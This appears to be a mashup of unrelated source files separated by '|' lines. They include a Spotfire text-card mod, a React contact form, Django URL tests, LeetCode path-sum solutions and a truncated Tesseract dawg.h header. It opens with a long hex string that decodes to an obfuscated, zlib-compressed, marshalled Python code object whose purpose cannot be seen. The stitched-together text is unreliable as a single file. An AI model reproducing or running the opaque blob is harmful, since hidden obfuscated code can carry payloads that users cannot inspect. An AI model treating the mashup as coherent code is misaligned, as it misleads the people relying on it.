783866265C7861315C7830625C7861665C7839335C7863385C7831645C783166465C7864315C7866387072785C7831344C5C7838325C7863335C7862315C745C7831335C7838372B605C7830305C7863395C7866615C78316457735C7863375C275C7866385C7861395C786439635C7831625C786566265C7830305C7862345C7865615C7862385C7838305C7861625C7862335C7838304F686C5C786533325C745C7863305669505C7839645C786664402A5C7838305C7865625C7838325C786436635C7866395C7861385C78643865525C786530435C7861375C7830355C78303865665C7838305C7862305C7863645C72505C783962304E203B367E283B5C786130325C7830325C7863396F5C7863615C786230335C7863325C783766405C7831365C7864365E755C786635755C7865307C605C786531347E5C7861655C6E5C7862625C786237765C7838615C5C5C7864645C7839312D285C7830665C7866355C783164786B67495C786436315D5C7830305C7863365C7865385C786261515C7865395C7861625C7838357E37415C7863633C5C745C786665505C7830635C786238305C7861625C7839336F5C7838645C7830345C7839305C7864642E5C786663705C783835525C7838345C783766235C7864635C7863395C783937395C7830365C725C786565355C7865305C783035256B5C7838315C7830313B5C783066785C7839305C6E4F3951365C7865663D755C783137775C7864345C78616450585C7864635C783931642D5C7831355C783139405C7863306C235C7839345C7861395C7830305C7866665E355C7839665C7865612C5C7862315C786266575C7861665C7866345C7865344A665C7838355C7861635C786637375C7862386D5C7830325C7864665C786236246A5C7838632D5C74555C275C7839625F5C7862335C7861666B375C786263715F5C7831655C7838665C7864335C7865365C7866635C7838325C7861655C7862365C7861375C5C545C7866335C783866525C786233565C7839365C7838645C7839395C7862665C783138364B5C7861335C7837665C7830625C7866615C7864665C786466745C7862337D5C7862623F5C786135475C7838305C786232575C783165744B6958355C786163265C7864615C7830655C7830625C7865625C7839355C7862625C786331445C7863315C7861375C7839665C7838615C7830355C7862655C7861645C7863355C7864625C7861395C7838375C7865645C7839345C7831355C7866305C783036355C7838625C7830325C7831342D5C745C783963785C783939623D6B325C7862315C7839335C7865325C7864365C7866395C786139235C7862325D5C7838665C7863655C786265515C7839325C7864615C7864315C7862365C78646323535C786637375C7838325C7865336C735C7831665C7861325C7830325C7861645C786634715C7866645C7861665C7838625C78613067405C7838367C5F5C7839645C7866647D5C78316636385C7831665C7831305C7830334E487E5C7862355C786366555C7838375C7839375C7866665C7830325C7862665C7838397A42285C7830325C7830305C7830305C783030745C7830345C7830305C7830305C7830307A6C6962745C6E5C7830305C7830305C7830306465636F6D7072657373285C7830305C7830305C7830305C783030285C7830305C7830305C7830305C783030285C7830305C7830305C7830305C783030735C7830345C7830305C7830305C7830305C7831625B306D745C7830385C7830305C7830305C7830303C6D6F64756C653E5C7830345C7830305C7830305C783030735C7830325C7830305C7830305C7830305C7830635C783031272929'))
|
/*
* Copyright © 2020. TIBCO Software Inc.
* This file is subject to the license terms contained
* in the license file that is distributed with this file.
*/
//@ts-check - Get type warnings from the TypeScript language server. Remove if not wanted.
/**
* Get access to the Spotfire Mod API by providing a callback to the initialize method.
* @param {Spotfire.Mod} mod - mod api
*/
var lastMarkedIndex = 0;
Spotfire.initialize(async (mod) => {
var prevIndex = 0;
var prevCardBy = "(Row Number)";
// create the read function
const reader = mod.createReader(
mod.visualization.data(),
mod.windowSize(),
mod.visualization.axis("Content"),
mod.visualization.axis("Sorting"),
mod.visualization.axis("Card by"),
mod.property("sortOrder")
);
const modDiv = findElem("#text-card-container");
// store the context
const context = mod.getRenderContext();
// used to set max number of cards to equal the number of rows of dataset
mod.visualization.axis("Card by").setExpression("<baserowid()>");
// initiate the read loop
reader.subscribe(render);
/**
* @param {Spotfire.DataView} dataView
* @param {Spotfire.Size} windowSize
* @param {Spotfire.Axis} contentProp
* @param {Spotfire.Axis} sortingProp
*/
// @ts-ignore
async function render(dataView, windowSize, contentProp, sortingProp, cardbyProp, sortOrder) {
/**
* Check data axes
* - Check if content empty
* - Check if content is multiple
* - Check if sorting is multiple
* - Check if card by is empy
*/
if (contentProp.parts.length == 0) {
mod.controls.errorOverlay.show("Select the 'Content' of the text cards to get started!");
return;
} else if (cardbyProp.parts.length == 0) {
mod.controls.errorOverlay.show(
"Select a column in 'Card by' to get started! Default value (for non-aggregated data): (Row Number)"
);
return;
} else if (contentProp.parts.length > 1 || sortingProp.parts.length > 1) {
if (contentProp.parts.length > 1)
mod.controls.errorOverlay.show("Selecting multiple columns in 'Content' is not supported.");
else if (sortingProp.parts.length > 1) {
mod.controls.errorOverlay.show("Selecting multiple columns in 'Sorting' is not supported.");
} else {
mod.controls.errorOverlay.show("Something went wrong. Please reload the mod.");
}
return;
}
mod.controls.errorOverlay.hide();
if (cardbyProp.parts[0].displayName !== "(Row Number)") {
if (cardbyProp.parts[0].displayName !== prevCardBy) {
createWarning(modDiv, context.styling.general.font.color, cardbyProp);
prevCardBy = cardbyProp.parts[0].displayName;
}
} else {
prevCardBy = "(Row Number)";
}
// non-global value
const cardsToLoad = 100;
// check dataview for errors
let errors = await dataView.getErrors();
if (errors.length > 0) {
// Showing an error overlay will hide the mod iframe.
// Clear the mod content here to avoid flickering effect of
// an old configuration when next valid data view is received.
mod.controls.errorOverlay.show(errors);
return;
}
mod.controls.errorOverlay.hide();
// Remove 4px to level out top-padding (Math.max to avoid less than 0)
modDiv.style.height = Math.max(windowSize.height - 4, 0) + "px";
// get rows/data from dataview via api
var rows = await dataView.allRows();
if (rows == null) {
// User interaction caused the data view to expire.
// Don't clear the mod content here to avoid flickering.
return;
}
// Checks if there is content to display
let contentToDisplay = false;
for (let i = 0; i < rows.length; i++) {
if (getDataValue(rows[i], "Content", 0) !== null) {
contentToDisplay = true;
}
}
// Dsiplay error if there is no content to display
if (!contentToDisplay) {
mod.controls.errorOverlay.show("No available text cards.");
}
// check if sorting is enabled
let sortingEnabled = false;
if ((await dataView.categoricalAxis("Sorting")) != null) {
// create sort button only if there is a value selected in sorting axis
sortingEnabled = true;
if (sortOrder.value() != "unordered") {
sortRows(rows, sortOrder.value());
}
} else {
//set back default value
sortOrder.set("asc");
}
// check if tooltip is enabled
var tooltip = false;
if ((await dataView.categoricalAxis("Tooltip")) != null) tooltip = true;
// check if annotation is enabled
var annotationEnabled = false;
if ((await dataView.categoricalAxis("Annotation")) != null) annotationEnabled = true;
var rerender = true;
var returnedObject = renderTextCards(
rows,
prevIndex, // When rerendering we always want to render everything
cardsToLoad,
rerender,
windowSize,
mod,
tooltip,
annotationEnabled,
dataView
);
// @ts-ignore
modDiv.appendChild(returnedObject.fragment);
// @ts-ignore
prevIndex = returnedObject.startIndex;
// de-mark on click on something that isn't text card *
var modContainer = document.getElementById("text-card-container");
modDiv.onmousedown = (e) => {
let width = modDiv.getBoundingClientRect().width;
if (!(e.clientX < width && e.clientX > width - 12)) {
dataView.clearMarking();
}
};
// down-key event listener
document.onkeydown = (e) => {
var selectedText = getSelectedText();
if ((e.ctrlKey || e.metaKey) && e.key === "c" && selectedText !== "") {
textToClipboard(selectedText);
selectedText = "";
}
if (e.key === "ArrowUp") {
modContainer.scrollBy(0, -100);
}
if (e.key === "ArrowDown") {
modContainer.scrollBy(0, 100);
} else {
return;
}
};
// scroll event listener
// @ts-ignore
modDiv.addEventListener("scroll", async function (e) {
if (modDiv.scrollHeight - modDiv.scrollTop <= modDiv.clientHeight + 1) {
// check if dataview is up to date
if (await dataView.hasExpired()) {
return;
}
var rerender = false;
var returnedObject = renderTextCards(
rows,
prevIndex,
cardsToLoad,
rerender,
windowSize,
mod,
tooltip,
annotationEnabled,
dataView
);
// @ts-ignore
modDiv.appendChild(returnedObject.fragment);
// @ts-ignore
prevIndex = returnedObject.startIndex;
}
});
//Create SortButton
if (sortingEnabled) createSortButton(modDiv, mod.getRenderContext().styling.general.font.color, sortOrder);
// signal that the mod is ready for export.
context.signalRenderComplete();
}
});
|
n = int(input())
ans = 0
a = [[False] * 105 for _ in range(105)]
for _ in range(n):
x1, y1, x2, y2 = map(int, input().split())
for i in range(x1, x2):
for j in range(y1, y2):
a[i][j] = 1
for i in range(105):
for j in range(105):
if a[i][j] == 1:
ans += 1
print(ans)
|
import React from "react"
class ContactForm extends React.Component{
constructor(props){
super(props);
this.state={
fullName:"",
email:"",
subject:"",
message:"",
hasSent:false
}
}
render(){
let responseStyle={display:`${this.state.hasSent ? "block":"none"}`};
let responseButtonStyle={display:`${!this.state.hasSent ? "block":"none"}`};
return(
<div className="text-center container-fluid py-3">
<h1 className="darkblue-tag pb-4 gotham-med">Contact Us</h1>
<h4 className="darkblue-tag pb-4 gotham-book">We would love to hear<br/>from you.</h4>
<div id="contact-input">
<form method="post" onSubmit={e => this.handleFormSubmit(e)} autoComplete="off">
<input className="container-fluid form-control form-control-lg" type="text" name="name" placeholder="Name"
value={this.state.fullName}
onChange={e => this.setState({ fullName: e.target.value })}
disabled={this.state.hasSent}
required
/>
<input className="container-fluid form-control form-control-lg my-3" type="text" name="email" placeholder="Email"
onChange={e => this.setState({ email: e.target.value })}
value={this.state.email}
disabled={this.state.hasSent}
required
/>
<input className="container-fluid form-control form-control-lg" type="text" name="subject" placeholder="Subject"
onChange={e => this.setState({ subject: e.target.value })}
value={this.state.subject}
disabled={this.state.hasSent}
required
/>
<textarea className="container-fluid form-control form-control-lg mt-3" type="text" rows="6" name="message" placeholder="Message"
onChange={e => this.setState({ message: e.target.value })}
value={this.state.message}
disabled={this.state.hasSent}
required
/>
<div className="py-5 mx-auto" style={responseButtonStyle}>
<button type="submit" className="btn darkbutton px-5 py-2"
>
Send
</button>
</div>
<div className="container-fluid text-center py-5" style={responseStyle}>
<h1 id="after-contact">Thank you for contacting us.</h1>
</div>
</form>
</div>
</div>
)
}
handleFormSubmit(event){
event.preventDefault();
console.log(this.state.fullName,this.state.email,this.state.subject,this.state.message);
this.setState({
fullName:this.state.fullName,
email:this.state.email,
subject:this.state.subject,
message:this.state.message,
hasSent:true
});
return false;
}
}
export default ContactForm;
|
import { text } from './text.js';
import { doc } from './global.js';
function createElement(query) {
var cp = 0;
var i = 0;
var len = query.length;
while (i < len) {
cp = query.charCodeAt(i++);
if (cp < 0x30 && (cp === 0x23 || cp === 0x2E)) {
var el = doc.createElement(i === 1 ? 'div' : query.substring(0, i - 1));
var readId = cp === 0x23;
var from = i;
var className;
while (i <= len) {
cp = i === len ? 0 : query.charCodeAt(i);
if (cp === 0 || cp === 0x23 || cp === 0x2E) {
var slice = query.substring(from, i)
if (readId) {
el.id = slice;
} else if (className) {
className += ' ' + slice;
} else {
className = slice;
}
if (i === len) break;
readId = cp === 0x23;
from = ++i;
} else {
++i;
}
}
if (className) el.className = className;
return el;
}
}
return doc.createElement(query);
}
export function make(query) {
var origin;
return function (first) {
origin || (origin = createElement(query));
var el = origin.cloneNode(false);
var len = arguments.length;
if (len) {
if (typeof first === 'string') {
el.textContent = first;
} else if (typeof first === 'function') {
first(el);
} else {
el.appendChild(first);
}
var arg, i = 1;
while (i < len) {
arg = arguments[i++];
if (typeof arg === 'function') {
arg(el);
} else {
el.appendChild(typeof arg === 'string' ? text(arg) : arg);
}
}
}
return el;
}
}
|
from .Function import Function
class DefinedFunction(Function):
def __init__(self, priv, t, name, params, body):
super().__init__(priv, t, name)
self.params = params
self._body = body
self._ir = []
self.scope = None
def is_defined(self):
return True
def parameters(self):
return self.params.parameters()
def body(self):
return self._body
def ir(self):
return self._ir
def set_IR(self,ir):
self._ir = ir
def set_scope(self,scope):
self.scope = scope
def lvar_scope(self):
return self.body().scope()
# Returns function local variables.
# Does NOT include paramters.
# Does NOT include static local variables.
def local_variables(self):
return self.scope.all_local_variables()
def _dump(self,dumper):
dumper.print_member("name", self.name())
dumper.print_member("is_private", self.is_private())
dumper.print_member("params", self.params)
dumper.print_member("body", self._body)
def accept(self,visitor):
return visitor.visit(self)
|
import pytest
from django.urls import resolve, reverse
from djsubservice.users.models import User
pytestmark = pytest.mark.django_db
def test_user_detail(user: User):
assert (
reverse("api:user-detail", kwargs={"username": user.username})
== f"/api/users/{user.username}/"
)
assert resolve(f"/api/users/{user.username}/").view_name == "api:user-detail"
def test_user_list():
assert reverse("api:user-list") == "/api/users/"
assert resolve("/api/users/").view_name == "api:user-list"
def test_user_me():
assert reverse("api:user-me") == "/api/users/me/"
assert resolve("/api/users/me/").view_name == "api:user-me"
|
var searchData=
[
['closenotebook_109',['closeNotebook',['../classMainWindow.html#af74ddc0be0f4335708042a727c34589c',1,'MainWindow']]],
['columncount_110',['columnCount',['../classNotebook.html#a6c3e56968bc835e329eeeca26647ed79',1,'Notebook']]],
['createnotebook_111',['createNotebook',['../classMainWindow.html#ac5622f2ac7418d880604adee3b408cde',1,'MainWindow']]]
];
|
import React from "react"
import { Home } from "styled-icons/boxicons-solid/Home"
import { SearchAlt2 as Search } from "styled-icons/boxicons-regular/SearchAlt2"
import { UpArrowAlt as Arrow } from "styled-icons/boxicons-regular/UpArrowAlt"
import { Lightbulb as Light } from "styled-icons/typicons/Lightbulb"
import { Grid } from "styled-icons/boxicons-solid/Grid"
import * as S from "./styled"
const MenuBar = () => (
<S.MenuBarWrapper>
<S.MenuBarGroup>
<S.MenuBarLink to="/" title="Voltar para Home">
<S.MenuBarItem><Home/></S.MenuBarItem>
</S.MenuBarLink>
<S.MenuBarLink to="/search/" title="Pesquisar">
<S.MenuBarItem><Search/></S.MenuBarItem>
</S.MenuBarLink>
</S.MenuBarGroup>
<S.MenuBarGroup>
<S.MenuBarItem title="Mudar o tema"><Light/></S.MenuBarItem>
<S.MenuBarItem title="Mudar visualização"><Grid/></S.MenuBarItem>
<S.MenuBarItem title="Ir para topo"><Arrow/></S.MenuBarItem>
</S.MenuBarGroup>
</S.MenuBarWrapper>
)
export default MenuBar
|
#import "GPUImageFilter.h"
extern NSString *const kGrayscaleContrastFragmentShaderString;
/** Converts an image to grayscale (a slightly faster implementation of the saturation filter, without the ability to vary the color contribution)
*/
@interface DLCGrayscaleContrastFilter : GPUImageFilter
{
GLint intensityUniform;
GLint slopeUniform;
}
@property(readwrite, nonatomic) CGFloat intensity;
@end
|
# Definition for a binary tree node.
# class TreeNode:
# def __init__(self, x):
# self.val = x
# self.left = None
# self.right = None
class Solution:
def dfs(self, root, cur_sum, lnodes, result):
if not root.left and not root.right and cur_sum == root.val:
lnodes.append(root.val)
result.append(lnodes)
if root.left:
self.dfs(root.left, cur_sum - root.val, lnodes + [root.val], result)
if root.right:
self.dfs(root.right, cur_sum - root.val, lnodes + [root.val], result)
def pathSum(self, root, sum):
"""
:type root: TreeNode
:type sum: int
:rtype: List[List[int]]
"""
result = []
if not root:
return result
self.dfs(root, sum, [], result)
return result
# Iterative
# Definition for a binary tree node.
# class TreeNode:
# def __init__(self, x):
# self.val = x
# self.left = None
# self.right = None
class Solution:
def pathSum(self, root, sum):
"""
:type root: TreeNode
:type sum: int
:rtype: List[List[int]]
"""
if not root:
return []
res = []
stack = [(root, sum, [])]
while stack:
node, cur_sum, lnodes = stack.pop()
if not node.left and not node.right and node.val == cur_sum:
res.append(lnodes + [node.val])
if node.left:
stack.append((node.left, cur_sum - node.val, lnodes + [node.val]))
if node.right:
stack.append((node.right, cur_sum - node.val, lnodes + [node.val]))
return res
|
/* -*-C-*-
********************************************************************************
*
* File: dawg.h (Formerly dawg.h)
* Description: Definition of a class that represents Directed Accyclic Word
* Graph (DAWG), functions to build and manipulate the DAWG.
* Author: Mark Seaman, SW Productivity
* Created: Fri Oct 16 14:37:00 1987
* Modified: Wed Jun 19 16:50:24 1991 (Mark Seaman) marks@hpgrlt
* Language: C
* Package: N/A
* Status: Reusable Software Component
*
* (c) Copyright 1987, Hewlett-Packard Company.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
*********************************************************************************/
#ifndef DICT_DAWG_H_
#define DICT_DAWG_H_
/*----------------------------------------------------------------------
I n c l u d e s
----------------------------------------------------------------------*/
#include BLIK_TESSERACT_U_elst_h //original-code:"elst.h"
#include BLIK_TESSERACT_U_ratngs_h //original-code:"ratngs.h"
#include BLIK_TESSERACT_U_params_h //original-code:"params.h"
#include BLIK_TESSERACT_U_tesscallback_h //original-code:"tesscallback.h"
#ifndef __GNUC__
#ifdef _WIN32
#define NO_EDGE (inT64) 0xffffffffffffffffi64
#endif /*_WIN32*/
#else
#define NO_EDGE (inT64) 0xffffffffffffffffll
#endif /*__GNUC__*/
/*----------------------------------------------------------------------
T y p e s
----------------------------------------------------------------------*/
class UNICHARSET;
typedef uinT64 EDGE_RECORD;
typedef EDGE_RECORD *EDGE_ARRAY;
typedef inT64 EDGE_REF;
typedef inT64 NODE_REF;
typedef EDGE_REF *NODE_MAP;
namespace tesseract {
struct NodeChild {
UNICHAR_ID unichar_id;
EDGE_REF edge_ref;
NodeChild(UNICHAR_ID id, EDGE_REF ref): unichar_id(id), edge_ref(ref) {}
NodeChild(): unichar_id(INVALID_UNICHAR_ID), edge_ref(NO_EDGE) {}
};
typedef GenericVector<NodeChild> NodeChildVector;
typedef GenericVector<int> SuccessorList;
typedef GenericVector<SuccessorList *> SuccessorListsVector;
enum DawgType {
DAWG_TYPE_PUNCTUATION,
DAWG_TYPE_WORD,
DAWG_TYPE_NUMBER,
DAWG_TYPE_PATTERN,
DAWG_TYPE_COUNT // number of enum entries
};
/*----------------------------------------------------------------------
C o n s t a n t s
----------------------------------------------------------------------*/
#define FORWARD_EDGE (inT32) 0
#define BACKWARD_EDGE (inT32) 1
#define MAX_NODE_EDGES_DISPLAY (inT64) 100
#define MARKER_FLAG (inT64) 1
#define DIRECTION_FLAG (inT64) 2
#define WERD_END_FLAG (inT64) 4
#define LETTER_START_BIT 0
#define NUM_FLAG_BITS 3
#define REFFORMAT "%lld"
static const bool kDawgSuccessors[DAWG_TYPE_COUNT][DAWG_TYPE_COUNT] = {
{ 0, 1, 1, 0 }, // for DAWG_TYPE_PUNCTUATION
{ 1, 0, 0, 0 }, // for DAWG_TYPE_WORD
{ 1, 0, 0, 0 }, // for DAWG_TYPE_NUMBER
{ 0, 0, 0, 0 }, // for DAWG_TYPE_PATTERN
};
static const char kWildcard[] = "*";
/*----------------------------------------------------------------------
C l a s s e s a n d S t r u c t s
----------------------------------------------------------------------*/
//
/// Abstract class (an interface) that declares methods needed by the
/// various tesseract classes to operate on SquishedDawg and Trie objects.
///
/// This class initializes all the edge masks (since their usage by
/// SquishedDawg and Trie is identical) and implements simple accessors
/// for each of the fields encoded in an EDGE_RECORD.
/// This class also implements word_in_dawg() and check_for_words()
/// (since they use only the public methods of SquishedDawg and Trie
/// classes that are inherited from the Dawg base class).
//
class Dawg {
public:
/// Magic number to determine endianness when reading the Dawg from file.
static const inT16 kDawgMagicNumber = 42;
/// A special unichar id that indicates that any appropriate pattern
/// (e.g.dicitonary word, 0-9 digit, etc) can be inserted instead
/// Used for expressing patterns in punctuation and number Dawgs.
static const UNICHAR_ID kPatternUnicharID = 0;
inline DawgType type() const { return type_; }
inline const STRING &lang() const { return lang_; }
inline PermuterType permuter() const { return perm_; }
virtual ~Dawg() {};
/// Returns true if the given word is in the Dawg.
bool word_in_dawg(const WERD_CHOICE &word) const;
// Returns true if the given word prefix is not contraindicated by the dawg.
// If requires_complete is true, then the exact complete word must be present.
bool prefix_in_dawg(const WERD_CHOICE &prefix, bool requires_complete) const;
/// Checks the Dawg for the words that are listed in the requested file.
/// Returns the number of words in the given file missing from the Dawg.
int check_for_words(const char *filename,
const UNICHARSET &unicharset,
bool enable_wildcard) const;
// For each word in the Dawg, call the given (permanent) callback with the
// text (UTF-8) version of the word.
void iterate_words(const UNICHARSET &unicharset,
TessCallback1<const WERD_CHOICE *> *cb) const;
// For each word in the Dawg, call the given (permanent) callback with the
// text (UTF-8) version of the word.
void iterate_words(const UNICHARSET &unicharset,
TessCallback1<const char *> *cb) const;
// Pure virtual function that should be implemented by the derived classes.
/// Returns the edge that corresponds to the letter out of this node.
virtual EDGE_REF edge_char_of(NODE_REF node, UNICHAR_ID unichar_id,
bool word_end) const = 0;
/// Fills the given NodeChildVector with all the unichar ids (and the
/// corresponding EDGE_REFs) for which there is an edge out of this node.
virtual void unichar_ids_of(NODE_REF node, NodeChildVector *vec,
bool word_end) const = 0;
/// Returns the next node visited by following the edge
/// indicated by the given EDGE_REF.
virtual NODE_REF next_node(EDGE_REF edge_ref) const = 0;
/// Returns true if the edge indicated by the given EDGE_REF
/// marks the end of a word.
virtual bool end_of_word(EDGE_REF edge_ref) const = 0;
/// Returns UNICHAR_ID stored in the edge indicated by the given EDGE_REF.
virtual UNICHAR_ID edge_letter(EDGE_REF edge_ref) const = 0;
/// Prints the contents of the node indicated by the given NODE_REF.
/// At most max_num_edges will be printed.
virtual void print_node(NODE_REF node, int max_num_edges) const = 0;
/// Fills vec with unichar ids that represent the character classes
/// of the given unichar_id.
virtual void unichar_id_to_patterns(UNICHAR_ID unichar_id,
const UNICHARSET &unicharset,
GenericVector<UNICHAR_ID> *vec) const {};
/// Returns the given EDGE_REF if the EDGE_RECORD that it points to has
/// a self loop and the given unichar_id matches the unichar_id stored in the
/// EDGE_RECORD, returns NO_EDGE otherwise.
virtual EDGE_REF pattern_loop_edge(
EDGE_REF edge_ref, UNICHAR_ID unichar_id, bool word_end) const {
return false;
}
protected:
Dawg() {}
/// Returns the next node visited by following this edge.
inline NODE_REF next_node_from_edge_rec(const EDGE_RECORD &edge_rec) const {
return ((edge_rec & next_node_mask_) >> next_node_start_bit_);
}
/// Returns the marker flag of this edge.
inline bool marker_flag_from_edge_rec(const EDGE_RECORD &edge_rec) const {
return (edge_rec & (MARKER_FLAG << flag_start_bit_)) != 0;
}
/// Returns the direction flag of this edge.
inline int direction_from_edge_rec(const EDGE_RECORD &edge_rec) const {
return ((edge_rec & (DIRECTION_FLAG << flag_start_bit_))) ?
BACKWARD_EDGE : FORWARD_EDGE;
}
/// Returns true if this edge marks the end of a word.
inline bool end_of_word_from_edge_rec(const EDGE_RECORD &edge_rec) const {
return (edge_rec & (WERD_END_FLAG << flag_start_bit_)) != 0;
}
/// Returns UNICHAR_ID recorded in this edge.
inline UNICHAR_ID unichar_id_from_edge_rec(
const EDGE_RECORD &edge_rec) const {
return ((edge_rec & letter_mask_) >> LETTER_START_BIT);
}
/// Sets the next node link for this edge in the Dawg.
inline void set_next_node_in_edge_rec(
EDGE_RECORD *edge_rec, EDGE_REF value) {
*edge_rec &= (~next_node_mask_);
*edge_rec |= ((value << next_node_start_bit_) & next_node_mask_);
}
/// Sets this edge record to be the last one in a sequence of edges.
inline void set_marker_flag_in_edge_rec(EDGE_RECORD *edge_rec) {
*edge_rec |= (MARKER_FLAG << flag_start_bit_);
}
/// Sequentially compares the given values of unichar ID, next node
/// and word end marker with the values in the given EDGE_RECORD.
/// Returns: 1 if at any step the given input value exceeds
/// that of edge_rec (and all the values already
/// checked are the same)
/// 0 if edge_rec_match() returns true
/// -1 otherwise
inline int given_greater_than_edge_rec(NODE_REF next_node,
bool word_end,
UNICHAR_ID unichar_id,
const EDGE_RECORD &edge_rec) const {
UNICHAR_ID curr_unichar_id = unichar_id_from_edge_rec(edge_rec);
NODE_REF curr_next_node = next_node_from_edge_rec(edge_rec);
bool curr_word_end = end_of_word_from_edge_rec(edge_rec);
if (edge_rec_match(next_node, word_end, unichar_id, curr_next_node,
curr_word_end, curr_unichar_id)) return 0;
if (unichar_id > curr_unichar_id) return 1;
if (unichar_id == curr_unichar_id) {
if (next_node > curr_next_node) return 1;
if (next_node == curr_next_node) {
if (word_end > curr_word_end) return 1;
}
}
return -1;
}
/// Returns true if all the values are equal (any value matches
/// next_node if next_node == NO_EDGE, any value matches word_end
/// if word_end is false).
inline bool edge_rec_match(NODE_REF next_node,
bool word_end,
UNICHAR_ID unichar_id,
NODE_REF other_next_node,
bool other_word_end,
UNICHAR_ID other_unichar_id) const {
return ((unichar_id == other_unichar_id) &&
(next_node == NO_EDGE || next_node == other_next_node) &&
(!word_end || (word_end == other_word_end)));
}
/// Sets type_, lang_, perm_, unicharset_size_.
/// Initializes the values of various masks from unicharset_size_.
void init(DawgType type, const STRING &lang,
PermuterType perm, int unicharset_size, int debug_level);
/// Matches all of the words that are represented by this string.
/// If wilcard is set to something other than INVALID_UNICHAR_ID,
/// the *'s in this string are interpreted as wildcards.
/// WERD_CHOICE param is not passed by const so that wildcard searches
/// can modify it and work without having to copy WERD_CHOICEs.
bool match_words(WERD_CHOICE *word, inT32 index,
NODE_REF node, UNICHAR_ID wildcard) const;
// Recursively iterate over all words in a dawg (see public iterate_words).
void iterate_words_rec(const WERD_CHOICE &word_so_far,
NODE_REF to_explore,
TessCallback1<const WERD_CHOICE *> *cb) const;
// Member Variables.
DawgType type_;
STRING lang_;
/// Permuter code that should be used if the word is found in this Dawg.
PermuterType perm_;
// Variables to construct various edge masks. Formerly:
// #define NEXT_EDGE_MASK (inT64) 0xfffffff800000000i64
// #define FLAGS_MASK (inT64) 0x0000000700000000i64
// #define LETTER_MASK (inT64) 0x00000000ffffffffi64
int unicharset_size_;
int flag_start_bit_;
int next_node_start_bit_;
uinT64 next_node_mask_;
uinT64 flags_mask_;
uinT64 letter_mask_;
// Level of debug statements to print to stdout.
int debug_level_;
};
//
// DawgPosition keeps track of where we are in the primary dawg we're searching
// as well as where we may be in the "punctuation dawg" which may provide
// surrounding context.
//
// Example:
// punctuation dawg -- space is the "pattern character"
// " " // no punctuation
// "' '" // leading and trailing apostrophes
// " '" // trailing apostrophe
// word dawg:
// "cat"
// "cab"
// "cat's"
//
// DawgPosition(dawg_index, dawg_ref, punc_index, punc_ref, rtp)
//
// DawgPosition(-1, NO_EDGE, p, pe, false)
// We're in the punctuation dawg, no other dawg has been started.
// (1) If there's a pattern edge as a punc dawg child of us,
// for each punc-following dawg starting with ch, produce:
// Result: DawgPosition(k, w, p', false)
// (2) If there's a valid continuation in the punc dawg, produce:
// Result: DawgPosition(-k, NO_EDGE, p', false)
//
// DawgPosition(k, w, -1, NO_EDGE, false)
// We're in dawg k. Going back to punctuation dawg is not an option.
// Follow ch in dawg k.
//
// DawgPosition(k, w, p, pe, false)
// We're in dawg k. Continue in dawg k and/or go back to the punc dawg.
// If ending, check that the punctuation dawg is also ok to end here.
//
// DawgPosition(k, w, p, pe true)
// We're back in the punctuation dawg. Continuing there is the only option.
struct DawgPosition {
DawgPosition()
: dawg_index(-1), dawg_ref(NO_EDGE), punc_ref(NO_EDGE),
back_to_punc(false) {}
DawgPosition(int dawg_idx, EDGE_REF dawgref,
int punc_idx, EDGE_REF puncref,
bool backtopunc)
: dawg_index(dawg_idx), dawg_ref(dawgref),
punc_index(punc_idx), punc_ref(puncref),
back_to_punc(backtopunc) {
}
bool operator==(const DawgPosition &other) {
return dawg_index == other.dawg_index &&
dawg_ref == other.dawg_ref &&
punc_index == other.punc_index &&
punc_ref == other.punc_ref &&
back_to_punc == other.back_to_punc;
}
inT8 dawg_index;
EDGE_REF dawg_ref;
inT8 punc_index;
EDGE_REF punc_ref;
// Have we returned to the punc dawg at the end of the word?
bool back_to_punc;
};
class DawgPositionVector : public GenericVector<DawgPosition> {
public:
/// Overload destructor, since clear() does not delete data_[] any more.
~DawgPositionVector() {
if (size_reserved_ > 0) {
delete[] data_;
size_used_ = 0;
size_reserved_ = 0;
}
}
/// Overload clear() in order to avoid allocating/deallocating memory
/// when clearing the vector and re-inserting entries into it later.
void clear() { size_used_ = 0; }
/// Adds an entry for the given dawg_index with the given node to the vec.
/// Returns false if the same entry already exists in the vector,
/// true otherwise.
inline bool add_unique(const DawgPosition &new_pos,
bool debug,
const char *debug_msg) {
for (int i = 0; i < size_used_; ++i) {
if (data_[i] == new_pos) return false;
}
push_back(new_pos);
if (debug) {
tprintf("%s[%d, " REFFORMAT "] [punc: " REFFORMAT "%s]\n",
debug_msg, new_pos.dawg_index, new_pos.dawg_ref,
new_pos.punc_ref, new_pos.back_to_punc ? " returned" : "");
}
return true;
}
};
//
/// Concrete class that can operate on a compacted (squished) Dawg (read,
/// search and write to file). This class is read-only in the sense that
/// new words can not be added to an instance of SquishedDawg.
/// The underlying representation of the nodes and edges in SquishedDawg
/// is stored as a contiguous EDGE_ARRAY (read from file or given as an
/// argument to the constructor).
//
class SquishedDawg : public Dawg {
public:
SquishedDawg(FILE *file, DawgType type, const STRING &lang,
PermuterType perm, int debug_level) {
read_squished_dawg(file, type, lang, perm, debug_level);
num_forward_edges_in_node0 = num_forward_edges(0);
}
SquishedDawg(const char* filename, DawgType type,
const STRING &lang, PermuterType perm, int debug_level) {
FILE *file = fopen(filename, "rb");
if (file == NULL) {
tprintf("Failed to open dawg file %s\n", filename);
exit(1);
}
read_squished_dawg(file, type, lang, perm, debug_level);
num_forward_edges_in_node0 = num_forward_edges(0);
fclose(file);
}
SquishedDawg(EDGE_ARRAY edges, int num_edges, DawgType type,
const STRING &lang, PermuterType perm,
int unicharset_size, int debug_level) :
edges_(edges), num_edges_(num_edges) {
init(type, lang, perm, unicharset_size, debug_level);
num_forward_edges_in_node0 = num_forward_edges(0);
if (debug_level > 3) print_all("SquishedDawg:");
}
~SquishedDawg();
int NumEdges() { return num_edges_; }
/// Returns the edge that corresponds to the letter out of this node.
EDGE_REF edge_char_of(NODE_REF node, UNICHAR_ID unichar_id,
bool word_end) const;
/// Fills the given NodeChildVector with all the unichar ids (and the
/// corresponding EDGE_REFs) for which there is an edge out of this node.
void unichar_ids_of(NODE_REF node, NodeChildVector *vec,
bool word_end) const {
EDGE_REF edge = node;
if (!edge_occupied(edge) || edge == NO_EDGE) return;
assert(forward_edge(edge)); // we don't expect any backward edges to
do { // be present when this function is called
if (!word_end || end_of_word_from_edge_rec(edges_[edge])) {
